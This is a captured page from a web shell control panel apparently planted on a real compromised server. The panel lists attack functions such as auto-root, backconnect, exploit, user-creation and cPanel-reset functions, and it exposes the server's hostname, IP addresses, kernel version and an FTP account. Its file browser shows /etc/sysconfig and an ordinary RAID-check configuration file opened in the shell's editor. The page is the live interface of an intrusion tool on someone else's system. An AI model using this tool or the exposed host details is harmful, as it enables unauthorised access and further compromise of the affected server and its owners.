Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
etc /
sysconfig /
[ HOME SHELL ]
Name
Size
Permission
Action
console
[ DIR ]
drwxr-xr-x
daemons
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
network-scripts
[ DIR ]
drwxr-xr-x
anaconda
112
B
-rw-r--r--
atd
403
B
-rw-r--r--
certbot
1.73
KB
-rw-r--r--
chronyd
46
B
-rw-r--r--
cpupower
150
B
-rw-r--r--
crond
110
B
-rw-r--r--
ebtables-config
417
B
-rw-------
firewalld
73
B
-rw-r--r--
grub
276
B
-rw-r--r--
htcacheclean
348
B
-rw-r--r--
ip6tables-config
2.08
KB
-rw-------
iptables-config
2.07
KB
-rw-------
irqbalance
903
B
-rw-r--r--
kdump
2.44
KB
-rw-r--r--
kernel
185
B
-rw-r--r--
maldet
431
B
-rw-r--r--
man-db
310
B
-rw-r--r--
named
845
B
-rw-r--r--
network
22
B
-rw-r--r--
nftables.conf
364
B
-rw-------
opendkim
221
B
-rw-r--r--
pmcd
1.53
KB
-rw-r--r--
pmfind
154
B
-rw-r--r--
pmie_timers
313
B
-rw-r--r--
pmlogger
1.32
KB
-rw-r--r--
pmlogger_farm
1.21
KB
-rw-r--r--
pmlogger_timers
1.22
KB
-rw-r--r--
pmproxy
454
B
-rw-r--r--
postgrey
962
B
-rw-r--r--
proftpd
532
B
-rw-r--r--
raid-check
2.85
KB
-rw-r--r--
rngd
177
B
-rw-r--r--
rsyslog
196
B
-rw-r--r--
run-parts
0
B
-rw-r--r--
sa-update
598
B
-rw-r--r--
samba
428
B
-rw-r--r--
saslauthd
433
B
-rw-r--r--
selinux
547
B
-rw-r--r--
smartmontools
186
B
-rw-r--r--
spamassassin
109
B
-rw-r--r--
sshd
591
B
-rw-r-----
sshd-permitrootlogin
161
B
-rw-r--r--
webalizer
108
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : raid-check
#!/bin/bash # # Configuration file for /etc/cron.weekly/raid-check # # options: # ENABLED - must be yes in order for the raid check to proceed # CHECK - can be either check or repair depending on the type of # operation the user desires. A check operation will scan # the drives looking for bad sectors and automatically # repairing only bad sectors. If it finds good sectors that # contain bad data (meaning that the data in a sector does # not agree with what the data from another disk indicates # the data should be, for example the parity block + the other # data blocks would cause us to think that this data block # is incorrect), then it does nothing but increments the # counter in the file /sys/block/$dev/md/mismatch_count. # This allows the sysadmin to inspect the data in the sector # and the data that would be produced by rebuilding the # sector from redundant information and pick the correct # data to keep. The repair option does the same thing, but # when it encounters a mismatch in the data, it automatically # updates the data to be consistent. However, since we really # don't know whether it's the parity or the data block that's # correct (or which data block in the case of raid1), it's # luck of the draw whether or not the user gets the right # data instead of the bad data. This option is the default # option for devices not listed in either CHECK_DEVS or # REPAIR_DEVS. # CHECK_DEVS - a space delimited list of devs that the user specifically # wants to run a check operation on. # REPAIR_DEVS - a space delimited list of devs that the user # specifically wants to run a repair on. # SKIP_DEVS - a space delimited list of devs that should be skipped # NICE - Change the raid check CPU and IO priority in order to make # the system more responsive during lengthy checks. Valid # values are high, normal, low, idle. # MAXCONCURENT - Limit the number of devices to be checked at a time. # By default all devices will be checked at the same time. # # Note: the raid-check script intentionaly runs last in the cron.weekly # sequence. This is so we can wait for all the resync operations to complete # and then check the mismatch_count on each array without unduly delaying # other weekly cron jobs. If any arrays have a non-0 mismatch_count after # the check completes, we echo a warning to stdout which will then me emailed # to the admin as long as mails from cron jobs have not been redirected to # /dev/null. We do not wait for repair operations to complete as the # md stack will correct any mismatch_cnts automatically. # # Note2: you can not use symbolic names for the raid devices, such as you # /dev/md/root. The names used in this file must match the names seen in # /proc/mdstat and in /sys/block. ENABLED=yes CHECK=check NICE=low # To check devs /dev/md0 and /dev/md3, use "md0 md3" CHECK_DEVS="" REPAIR_DEVS="" SKIP_DEVS="" MAXCONCURRENT=
Close